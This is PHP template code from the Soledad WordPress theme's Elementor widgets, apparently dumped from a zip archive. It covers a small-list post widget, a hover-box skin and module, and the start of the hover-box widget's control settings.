			$ajax_data          = $this->get_setting_attr( $settings );
			$ajax_data['query'] = $args;
			\Soledad_VC_Shortcodes::get_block_script( $settings['blockid'], $ajax_data );
		}

		?>
        <div class="penci-wrapper-smalllist">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<?php
			if ( ! $query_smalllist->have_posts() ) {
				echo $this->show_missing_settings( 'Small List', penci_get_setting( 'penci_ajaxsearch_no_post' ) );
			}

			?>
            <div class="penci-smalllist-wrapper">
				<?php
				if ( $query_smalllist->have_posts() ) {
					?>
                    <div class="penci-smalllist pcsl-wrapper pwsl-id-default">
                        <div class="<?php echo $inner_wrapper_class; ?>"<?php echo $data_slider; ?>>
							<?php if ( 'crs' == $type ) : ?>
                            <div class="swiper-wrapper">
								<?php endif; ?>
								<?php while ( $query_smalllist->have_posts() ) : $query_smalllist->the_post(); ?>
									<?php if ( 'crs' == $type ) : ?>
                            		<div class="swiper-slide">
									<?php endif; ?>
                                    <div class="pcsl-item<?php if ( 'yes' == $settings['hide_thumb'] || ! has_post_thumbnail() ) {
										echo ' pcsl-nothumb';
									}?>">
                                        <div class="pcsl-itemin">
                                            <div class="pcsl-iteminer">
												<?php if ( in_array( 'date', $post_meta ) && 'nlist' == $type ) { ?>
                                                    <div class="pcsl-date pcsl-dpos-<?php echo $date_pos; ?>">
                                                        <span class="sl-date"><?php penci_soledad_time_link( null, $dformat ); ?></span>
                                                    </div>
												<?php } ?>

												<?php if ( 'yes' != $settings['hide_thumb'] && has_post_thumbnail() ) { ?>
                                                    <div class="pcsl-thumb">
														<?php
														do_action( 'penci_bookmark_post', get_the_ID(), 'small' );
														/* Display Review Piechart  */
														if ( 'yes' == $settings['show_reviewpie'] && function_exists( 'penci_display_piechart_review_html' ) ) {
															penci_display_piechart_review_html( get_the_ID(), 'small' );
														}
														?>
														<?php if ( 'yes' == $settings['show_formaticon'] ): ?>
															<?php if ( has_post_format( 'video' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
															<?php endif; ?>
															<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
															<?php endif; ?>
															<?php if ( has_post_format( 'audio' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
															<?php endif; ?>
															<?php if ( has_post_format( 'link' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
															<?php endif; ?>
															<?php if ( has_post_format( 'quote' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
															<?php endif; ?>
														<?php endif; ?>
                                                            <a <?php echo penci_layout_bg(penci_get_featured_image_size( get_the_ID(), $thumbnail ),'yes' != $settings['disable_lazy']);?> href="<?php the_permalink(); ?>"
                                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                               class="<?php echo penci_layout_bg_class('yes' != $settings['disable_lazy']);?> penci-image-holder"<?php if ( 'yes' == $settings['nocrop'] ) {
																echo ' style="padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%"';
															} ?>>
	                                                            <?php echo penci_layout_img(penci_get_featured_image_size( get_the_ID(), $thumbnail ),get_the_title(),'yes' != $settings['disable_lazy']);?>
                                                            </a>

                                                    </div>
												<?php } ?>
                                                <div class="pcsl-content">
													<?php if ( in_array( 'cat', $post_meta ) ) : ?>
                                                        <div class="cat pcsl-cat">
															<?php penci_category( '', $primary_cat ); ?>
                                                        </div>
													<?php endif; ?>

													<?php if ( in_array( 'title', $post_meta ) ) : ?>
                                                        <div class="pcsl-title">
                                                            <a href="<?php the_permalink(); ?>"<?php if ( $title_length ): echo ' title="' . wp_strip_all_tags( get_the_title() ) . '"'; endif; ?>><?php
	                                                            
                                                                if ( ! $title_length ) {
																	the_title();
																} else {
																	echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
																} ?></a>
                                                        </div>
													<?php endif; ?>

													<?php if ( $settings['cspost_enable'] || ( count( array_intersect( array(
																'author',
																'date',
																'comment',
																'views',
																'reading'
															), $post_meta ) ) > 0 && 'nlist' != $type ) || ( count( array_intersect( array(
																'author',
																'comment',
																'views',
																'reading'
															), $post_meta ) ) > 0 && 'nlist' == $type ) ) { ?>
                                                        <div class="grid-post-box-meta pcsl-meta">
															<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                                                <span class="sl-date-author author-italic">
													<?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
																		penci_coauthors_posts_links();
																	else: ?>
                                                                        <a class="author-url url fn n"
                                                                           href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
																	<?php endif; ?>
													</span>
															<?php endif; ?>
															<?php if ( in_array( 'date', $post_meta ) && 'nlist' != $type ) : ?>
                                                                <span class="sl-date"><?php penci_soledad_time_link( null, $dformat ); ?></span>
															<?php endif; ?>
															<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                                                <span class="sl-comment">
												<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
											</span>
															<?php endif; ?>
															<?php
															if ( in_array( 'views', $post_meta ) ) {
																echo '<span class="sl-views">';
																echo penci_get_post_views( get_the_ID() );
																echo ' ' . penci_get_setting( 'penci_trans_countviews' );
																echo '</span>';
															}
															?>
															<?php
															$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
															if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                                                <span class="sl-readtime"><?php penci_reading_time(); ?></span>
															<?php endif; ?>
															<?php echo penci_show_custom_meta_fields( [
																'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
																'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
																'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
																'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
																'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
															] ); ?>
															<?php do_action( 'penci_extra_meta' ); ?>
                                                        </div>
													<?php } ?>

													<?php if ( 'yes' == $settings['show_excerpt'] && 'side' == $excerpt_pos ) { ?>
                                                        <div class="pcbg-pexcerpt pcsl-pexcerpt">
															<?php penci_the_excerpt( $excerpt_length ); ?>
                                                        </div>
													<?php } ?>
													<?php if ( 'yes' == $settings['show_readmore'] && 'side' == $excerpt_pos ) { ?>
                                                        <div class="pcsl-readmore">
                                                            <a href="<?php the_permalink(); ?>"
                                                               class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
																<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                                            </a>
                                                        </div>
													<?php } ?>

                                                </div>

												<?php if ( ( 'yes' == $settings['show_excerpt'] || 'yes' == $settings['show_readmore'] ) && 'below' == $excerpt_pos ) { ?>
                                                    <div class="pcsl-flex-full">
														<?php if ( 'yes' == $settings['show_excerpt'] ) { ?>
                                                            <div class="pcbg-pexcerpt pcsl-pexcerpt">
																<?php penci_the_excerpt( $excerpt_length ); ?>
                                                            </div>
														<?php } ?>
														<?php if ( 'yes' == $settings['show_readmore'] ) { ?>
                                                            <div class="pcsl-readmore">
                                                                <a href="<?php the_permalink(); ?>"
                                                                   class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
																	<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                                                </a>
                                                            </div>
														<?php } ?>
                                                    </div>
												<?php } ?>
                                            </div>
                                        </div>
                                    </div>
                                <?php if ( 'crs' == $type ) : ?>
                            		</div>
								<?php endif; ?>
								<?php endwhile; ?>
								<?php if ( 'crs' == $type ) : ?>
                            </div>
						<?php endif; ?>
                        </div>

						<?php
						if ( 'loadmore' == $paging || 'scroll' == $paging ) {
							$data_settings          = array();
							$data_settings['query'] = $args;
							$data_paged             = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );

							$data_settings_ajax = htmlentities( json_encode( $data_settings ), ENT_QUOTES, "UTF-8" );

							$button_class = ' penci-ajax-more penci-slajax-more-click';
							if ( 'loadmore' == $paging ):
								wp_enqueue_script( 'penci_slajax_more_posts' );
							endif;
							if ( 'scroll' == $paging ):
								$button_class = ' penci-ajax-more penci-slajax-more-scroll';
								wp_enqueue_script( 'penci_slajax_more_scroll' );
							endif;
							$data_archive_type  = '';
							$data_archive_value = '';
							if ( is_category() ) :
								$category           = get_category( get_query_var( 'cat' ) );
								$cat_id             = isset( $category->cat_ID ) ? $category->cat_ID : '';
								$data_archive_type  = 'cat';
								$data_archive_value = $cat_id;
								$opt_cat            = 'category_' . $cat_id;
								$cat_meta           = get_option( $opt_cat );
								$sidebar_opts       = isset( $cat_meta['cat_sidebar_display'] ) ? $cat_meta['cat_sidebar_display'] : '';
								if ( $sidebar_opts == 'no' ):
									$data_template = 'no-sidebar';
                                elseif ( $sidebar_opts == 'left' || $sidebar_opts == 'right' ):
									$data_template = 'sidebar';
								endif;

                            elseif ( is_tag() ) :
								$tag                = get_queried_object();
								$tag_id             = isset( $tag->term_id ) ? $tag->term_id : '';
								$data_archive_type  = 'tag';
								$data_archive_value = $tag_id;
                            elseif ( is_day() ) :
								$data_archive_type  = 'day';
								$data_archive_value = get_the_date( 'm|d|Y' );
                            elseif ( is_month() ) :
								$data_archive_type  = 'month';
								$data_archive_value = get_the_date( 'm|d|Y' );
                            elseif ( is_year() ) :
								$data_archive_type  = 'year';
								$data_archive_value = get_the_date( 'm|d|Y' );
                            elseif ( is_search() ) :
								$data_archive_type  = 'search';
								$data_archive_value = get_search_query();
                            elseif ( is_author() ) :

								global $authordata;
								$user_id = isset( $authordata->ID ) ? $authordata->ID : 0;

								$data_archive_type  = 'author';
								$data_archive_value = $user_id;
                            elseif ( is_archive() ) :
								$queried_object = get_queried_object();
								$term_id        = isset( $queried_object->term_id ) ? $queried_object->term_id : '';
								$tax            = get_taxonomy( get_queried_object()->taxonomy );
								$tax_name       = isset( $tax->name ) ? $tax->name : '';

								if ( $term_id && $tax_name ) {
									$data_archive_type  = $tax_name;
									$data_archive_value = $term_id;
								}
							endif;
							?>
                            <div class="pcbg-paging penci-pagination <?php echo 'pcbg-paging-' . $paging_align . $button_class; ?>">
                                <a class="penci-ajax-more-button" href="#" aria-label="More Posts"
									<?php if ( $data_archive_type && $data_archive_value ): ?>
                                        data-archivetype="<?php echo $data_archive_type; ?>"
                                        data-archivevalue="<?php echo $data_archive_value; ?>"
                                        data-arppp="<?php echo $ppp; ?>"
									<?php endif; ?>
                                   data-blockid="<?php echo $settings['blockid']; ?>"
                                   data-query_type="<?php echo $archive_buider_check; ?>"
                                   data-settings="<?php echo $data_settings_ajax; ?>"
                                   data-pagednum="<?php echo( (int) $data_paged + 1 ); ?>"
                                   data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>">
                                    <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                            class="ajaxdot"></span><?php penci_fawesome_icon( 'fas fa-sync' ); ?>
                                </a>
                            </div>
							<?php
						} elseif ( 'numbers' == $paging ) {
							echo penci_pagination_numbers( $query_smalllist, $paging_align );
						}
						?>

                    </div>
					<?php
				} /* End check if query exists posts */
				if ( $settings['biggrid_ajaxfilter_cat'] || $settings['biggrid_ajaxfilter_tag'] || $settings['biggrid_ajaxfilter_author'] || 'nextprev' == $settings['paging'] ) {
					echo penci_get_html_animation_loading( $settings['biggrid_ajax_loading_style'] );
				}
				?>
            </div>
        </div>
		<?php
		wp_reset_postdata();
	}

	public static function get_setting_attr( $settings ) {
		$attrs = [];
		$args  = [
			'type',
			'dformat',
			'date_pos',
			'column',
			'tab_column',
			'mb_column',
			'imgpos',
			'thumb_size',
			'mthumb_size',
			'post_meta',
			'primary_cat',
			'title_length',
			'excerpt_pos',
			'rmstyle',
			'excerpt_length',
			'nocrop',
			'hide_cat_mobile',
			'hide_meta_mobile',
			'hide_excerpt_mobile',
			'hide_rm_mobile',
			'imgtop_mobile',
			'ver_border',
			'hide_thumb',
			'show_reviewpie',
			'show_formaticon',
			'disable_lazy',
			'nocrop',
			'show_excerpt',
			'show_readmore',
			'show_excerpt',
			'hide_thumb',
		];
		foreach ( $args as $arg ) {
			$attrs[ $arg ] = $settings[ $arg ];
		}

		return $attrs;
	}

	public static function show_missing_settings( $label, $mess ) {
		$output = '';
		if ( current_user_can( 'manage_options' ) ) {
			$output .= '<div class="penci-missing-settings">';
			$output .= '<p style="margin-bottom: 4px;">This message appears for administrator users only</p>';
			$output .= '<span>' . $label . '</span>';
			$output .= $mess;
			$output .= '</div>';
		}

		return $output;
	}
}
PK     1w\?  ?  9  elementor/modules/penci-hover-box/skins/skin-envelope.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciHoverBox\Skins;

use Elementor\Skin_Base as Elementor_Skin_Base;
use Elementor\Icons_Manager;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class Skin_Envelope extends Elementor_Skin_Base {
	public function get_id() {
		return 'penci-hvb-envelope';
	}

	public function get_title() {
		return __( 'Style 1', 'soledad' );
	}

	public function render() {

		$settings = $this->parent->get_settings();
		
		$this->parent->markup_block_title( $settings, $this );

		if ( $settings['hover_box_event'] ) {
			$hoverBoxEvent = $settings['hover_box_event'];
		} else {
			$hoverBoxEvent = false;
		}

		if ( $settings['box_image_effect'] ) {
			$this->parent->add_render_attribute( 'hover_box', 'class', 'penci-hover-box-img-effect penci-hvb-' . $settings['box_image_effect_select'] );
		}

		$this->parent->add_render_attribute(
			[
				'hover_box' => [
					'id'            => 'penci-hover-box-' . $this->parent->get_id(),
					'class'         => 'penci-hover-box penci-hover-box-skin-envelope',
					'data-settings' => [
						wp_json_encode( array_filter( [
							'box_id'      => 'penci-hover-box-' . $this->parent->get_id(),
							'mouse_event' => $hoverBoxEvent,
						] ) )
					]
				]
			]
		);

		?>
        <div <?php $this->parent->print_render_attribute_string( 'hover_box' ); ?>>

			<?php
			if ( 'custom' == $settings['item_type'] ) {
				$this->parent->box_content();
				$this->box_items();
			} else {
				$this->parent->post_content();
				$this->post_items();
			}
			?>
        </div>

		<?php
	}

	public function box_items() {
		$settings = $this->parent->get_settings_for_display();
		$id       = $this->parent->get_id();

		$this->parent->add_render_attribute( 'box-settings', 'data-penci-hover-box-items', 'connect: #penci-hvb-box-content-' . esc_attr( $id ) . ';' );
		$this->parent->add_render_attribute( 'box-settings', 'class', 'penci-hover-box-item-wrap' );

		$this->parent->add_render_attribute( 'box-settings', 'data-penci-hover-box-grid', '' );
		$this->parent->add_render_attribute( 'box-settings', 'class', [ 'penci-hover-box-grid-collapse' ] );

		$this->parent->add_render_attribute( 'box-settings', 'class', 'penci-hvb-slider-items' );

		$this->parent->add_render_attribute(
			[
				'slider-settings' => [
					'class'        => 'swiper-carousel swiper penci-owl-carousel penci-owl-carousel-slider',
					'data-item'    => isset( $settings['ct_columns']['size'] ) ? $settings['ct_columns']['size'] : '4',
					'data-desktop' => isset( $settings['ct_columns']['size'] ) ? $settings['ct_columns']['size'] : '4',
					'data-tablet'  => isset( $settings['ct_columns_tablet']['size'] ) ? $settings['ct_columns_tablet']['size'] : '2',
					'data-mobile'  => isset( $settings['ct_columns_mobile']['size'] ) ? $settings['ct_columns_mobile']['size'] : '1',
				]
			]
		);

		?>
        <div <?php $this->parent->print_render_attribute_string( 'box-settings' ); ?>>
            <div <?php $this->parent->print_render_attribute_string( 'slider-settings' ); ?>>
                <div class="swiper-wrapper">
					<?php foreach ( $settings['hover_box'] as $index => $item ) :

					$tab_count   = $index + 1;
					$tab_id      = 'penci-hvb-box-' . $tab_count . esc_attr( $id );
					$active_item = $this->parent->activeItem( $settings['hover_box_active_item'], count( $settings['hover_box'] ) );
					if ( $tab_id == 'penci-hvb-box-' . $active_item . esc_attr( $id ) ) {
						$this->parent->add_render_attribute( 'box-item', 'class', 'penci-hover-box-item active', true );
					} else {
						$this->parent->add_render_attribute( 'box-item', 'class', 'penci-hover-box-item', true );
					}

					$this->parent->add_render_attribute( 'penci-hover-box-title', 'class', 'penci-hover-box-title', true );

					$title_key  = 'title_' . $index;
					$button_key = 'button_' . $index;
					$this->parent->add_render_attribute( $title_key, 'class', 'penci-hover-box-title-link', true );
					$this->parent->add_link_attributes( $title_key, isset( $item['title_link'] ) ? $item['title_link'] : [] );
					$this->parent->add_link_attributes( $button_key, isset( $item['button_link'] ) ? $item['button_link'] : [] );

					?>
                    <div class="swiper-slide">
                        <div <?php $this->parent->print_render_attribute_string( 'box-item' ); ?>
                                data-id="<?php echo esc_attr( $tab_id ); ?>">

                            <div class="penci-hover-box-description penci-hvb-position-small penci-hvb-position-<?php echo esc_attr( $settings['content_position'] ); ?>">
								<?php if ( 'yes' == $settings['show_icon'] ) : ?>
                                    <a class="penci-hover-box-icon-box" href="javascript:void(0);"
                                       data-tab-index="<?php echo esc_attr( $index ); ?>">
								<span class="penci-hover-box-icon-wrap">
									<?php Icons_Manager::render_icon( $item['selected_icon'], [ 'aria-hidden' => 'true' ] ); ?>
								</span>
                                    </a>
								<?php endif; ?>
								<?php if ( $item['hover_box_sub_title'] && ( 'yes' == $settings['show_sub_title'] ) ) : ?>
                                    <div class="penci-hover-box-sub-title">
										<?php echo wp_kses( $item['hover_box_sub_title'], wp_kses_allowed_html( 'post' ) ); ?>
                                    </div>
								<?php endif; ?>

								<?php if ( $item['hover_box_title'] && ( 'yes' == $settings['show_title'] ) ) : ?>
                                <<?php echo esc_attr( $settings['title_tags'] ); ?> <?php $this->parent->print_render_attribute_string( 'penci-hover-box-title' ); ?>
                                >

								<?php if ( '' !== $item['title_link']['url'] ) : ?>
                                <a <?php $this->parent->print_render_attribute_string( $title_key ); ?>>
									<?php endif; ?>
									<?php echo wp_kses( $item['hover_box_title'], wp_kses_allowed_html( 'post' ) ); ?>
									<?php if ( '' !== $item['title_link']['url'] ) : ?>
                                </a>
							<?php endif; ?>

                            </<?php echo esc_attr( $settings['title_tags'] ); ?>>
							<?php endif; ?>

							<?php if ( $item['hover_box_content'] && ( 'yes' == $settings['show_content'] ) ) : ?>
                                <div class="penci-hover-box-text">
									<?php echo wp_kses_post( $item['hover_box_content'] ); ?>
                                </div>
							<?php endif; ?>

							<?php if ( $item['hover_box_button'] && ( 'yes' == $settings['show_button'] ) ) : ?>
                                <div class="penci-hover-box-button">
                                    <a <?php $this->parent->print_render_attribute_string( $button_key ); ?>>
										<?php echo wp_kses_post( $item['hover_box_button'] ); ?>
                                    </a>
                                </div>
							<?php endif; ?>
                        </div>

                    </div>
                </div>
				<?php endforeach; ?>
            </div>
        </div>

        </div>

		<?php
	}

	public function post_items() {
		$settings = $this->parent->get_settings();
		$id       = $this->parent->get_id();

		$this->parent->add_render_attribute( 'box-settings', 'data-penci-hover-box-items', 'connect: #penci-hvb-box-content-' . esc_attr( $id ) . ';' );
		$this->parent->add_render_attribute( 'box-settings', 'class', 'penci-hover-box-item-wrap' );

		$this->parent->add_render_attribute( 'box-settings', 'data-penci-hover-box-grid', '' );
		$this->parent->add_render_attribute( 'box-settings', 'class', [ 'penci-hover-box-grid-collapse' ] );

		$this->parent->add_render_attribute( 'box-settings', 'class', 'penci-hvb-slider-items' );

		$this->parent->add_render_attribute(
			[
				'slider-settings' => [
					'class'        => 'swiper-carousel swiper penci-owl-carousel penci-owl-carousel-slider',
					'data-item'    => isset( $settings['ct_columns']['size'] ) ? $settings['ct_columns']['size'] : '4',
					'data-desktop' => isset( $settings['ct_columns']['size'] ) ? $settings['ct_columns']['size'] : '4',
					'data-tablet'  => isset( $settings['ct_columns_tablet']['size'] ) ? $settings['ct_columns_tablet']['size'] : '2',
					'data-mobile'  => isset( $settings['ct_columns_mobile']['size'] ) ? $settings['ct_columns_mobile']['size'] : '1',
				]
			]
		);

		$args = Query_Control::get_query_args( 'posts', $settings );;
		$query_custom = new \WP_Query( $args );
		$post_meta    = $settings['postmeta'] ? $settings['postmeta'] : [];
		$primary_cat  = $settings['primary_cat'];

		?>
        <div <?php $this->parent->print_render_attribute_string( 'box-settings' ); ?>>
            <div <?php $this->parent->print_render_attribute_string( 'slider-settings' ); ?>>
                <div class="swiper-wrapper">
					<?php
					if ( $query_custom->have_posts() ):
						$post_count = 0;
					while ( $query_custom->have_posts() ) :
					$query_custom->the_post();
					$post_count ++;
					
					$tab_id      = 'penci-hvb-box-' . $post_count . esc_attr( $id );
					$active_item = $this->parent->activeItem( $settings['hover_box_active_item'], $query_custom->found_posts );
					if ( $tab_id == 'penci-hvb-box-' . $active_item . esc_attr( $id ) ) {
						$this->parent->add_render_attribute( 'box-item', 'class', 'penci-hover-box-item active', true );
					} else {
						$this->parent->add_render_attribute( 'box-item', 'class', 'penci-hover-box-item', true );
					}

					$this->parent->add_render_attribute( 'penci-hover-box-title', 'class', 'penci-hover-box-title', true );

					$title_key  = 'title_' . get_the_ID();
					$button_key = 'button_' . get_the_ID();
					$this->parent->add_render_attribute( $title_key, 'class', 'penci-hover-box-title-link', true );
					$this->parent->add_link_attributes( $title_key, isset( $item['title_link'] ) ? $item['title_link'] : [] );
					$this->parent->add_link_attributes( $button_key, isset( $item['button_link'] ) ? $item['button_link'] : [] );

					?>
                    <div class="swiper-slide">
                        <div <?php $this->parent->print_render_attribute_string( 'box-item' ); ?>
                                data-id="<?php echo esc_attr( $tab_id ); ?>">

                            <div class="penci-hover-box-description penci-hvb-position-small penci-hvb-position-<?php echo esc_attr( $settings['content_position'] ); ?>">
								<?php if ( 'yes' == $settings['show_icon'] ) : ?>
                                    <a class="penci-hover-box-icon-box" href="javascript:void(0);"
                                       data-tab-index="<?php echo esc_attr( get_the_ID() ); ?>">
								<span class="penci-hover-box-icon-wrap">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								</span>
                                    </a>
								<?php endif; ?>
								<?php if ( 'yes' == $settings['show_post_meta'] ) : ?>
									<?php if ( ( isset( $settings['cspost_enable'] ) && $settings['cspost_enable'] ) || ( count( array_intersect( array(
												'author',
												'date',
												'comment',
												'views',
												'reading',
												'excerpt'
											), $post_meta ) ) > 0 ) ) { ?>
                                        <div class="pchvb-meta">
                                            <div class="pcbg-meta-desc">
											<?php if ( in_array( 'cat', $post_meta ) ) : ?>
												<span class="bg-cat-meta">
													<?php penci_category( '', $primary_cat ); ?>
												</span>
											<?php endif; ?>
												<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                                    <span class="bg-date-author author-italic author vcard">
												<?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
															penci_coauthors_posts_links();
														else: ?>
                                                            <a class="author-url url fn n"
                                                               href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
														<?php endif; ?>
											</span>
												<?php endif; ?>
												<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                                    <span class="bg-date"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                                    <span class="bg-comment">
												<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
											</span>
												<?php endif; ?>
												<?php
												if ( in_array( 'views', $post_meta ) ) {
													echo '<span>';
													echo penci_get_post_views( get_the_ID() );
													echo ' ' . penci_get_setting( 'penci_trans_countviews' );
													echo '</span>';
												}
												?>
												<?php
												$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
												if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                                    <span class="bg-readtime"><?php penci_reading_time(); ?></span>
												<?php endif; ?>
												<?php echo penci_show_custom_meta_fields( [
													'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
													'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
													'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
													'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
													'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
												] ); ?>
												<?php do_action( 'penci_extra_meta' ); ?>
                                            </div>
                                        </div>
									<?php } ?>
								<?php endif; ?>

								<?php if ( 'yes' == $settings['show_title'] ) : ?>
                                <<?php echo esc_attr( $settings['title_tags'] ); ?>
								<?php $this->parent->print_render_attribute_string( 'penci-hover-box-title' ); ?>>


                                <a href="<?php the_permalink(); ?>">
									<?php the_title(); ?>
                                </a>


                            </<?php echo esc_attr( $settings['title_tags'] ); ?>>
							<?php endif; ?>

							<?php if ( 'yes' == $settings['show_content'] ) : ?>
                                <div class="penci-hover-box-text">
									<?php penci_the_excerpt( $settings['post_content_length'] ); ?>
                                </div>
							<?php endif; ?>

							<?php if ( 'yes' == $settings['show_button'] ) : ?>
                                <div class="penci-hover-box-button">
                                    <a href="<?php the_permalink(); ?>">
										<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                    </a>
                                </div>
							<?php endif; ?>
                        </div>

                    </div>
                </div>
				<?php endwhile;
				endif; ?>
            </div>
        </div>

        </div>

		<?php
	}
}

PK     1w\Y.W  W  ,  elementor/modules/penci-hover-box/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciHoverBox;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

class Module extends Module_Base {

	public function get_name() {
		return 'penci-hover-box';
	}

	public function get_widgets() {
		return array( 'PenciHoverBox' );
	}
}PK     1w\    =  elementor/modules/penci-hover-box/widgets/penci-hover-box.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciHoverBox\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Image_Size;
use Elementor\Icons_Manager;
use Elementor\Repeater;
use Elementor\Utils;
use PenciSoledadElementor\Modules\PenciHoverBox\Skins;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class PenciHoverBox extends Base_Widget {

	public function get_name() {
		return 'penci-hover-box';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Hover Box', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-image-rollover';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'fancy', 'effects', 'toggle', 'accordion', 'hover', 'slideshow', 'slider', 'box', 'animated boxs' ];
	}

	public function is_reload_preview_required() {
		return false;
	}

	public function get_style_depends() {
		return [ 'penci-hover-box' ];
	}

	public function get_script_depends() {
		return [ 'penci-hover-box' ];
	}

	protected function register_skins() {
		$this->add_skin( new Skins\Skin_Envelope( $this ) );
	}

	protected function register_controls() {

		$this->start_controls_section(
			'section_tabs_item',
			[
				'label' => esc_html__( 'Hover Style', 'soledad' ),
			]
		);

		$this->add_control(
			'layout_style',
			[
				'label'     => esc_html__( 'Layout Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'style-1',
				'options'   => [
					'style-1' => esc_html__( 'Style 1', 'soledad' ),
					'style-2' => esc_html__( 'Style 2', 'soledad' ),
				],
				'condition' => [
					'_skin' => '',
				],
			]
		);

		$this->add_control(
			'item_type',
			[
				'label'   => esc_html__( 'Item Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'custom',
				'options' => [
					'custom' => esc_html__( 'Custom Items', 'soledad' ),
					'query'  => esc_html__( 'Post Query', 'soledad' ),
				],
			]
		);

		$this->end_controls_section();

		$this->register_query_section_controls( false, array( 'item_type' => 'query' ) );

		$this->start_controls_section(
			'section_hover_box_items',
			[
				'label'     => esc_html__( 'Hover Box Items', 'soledad' ),
				'tab'       => Controls_Manager::TAB_CONTENT,
				'condition' => [
					'item_type' => 'custom'
				],
			]
		);


		$repeater = new Repeater();

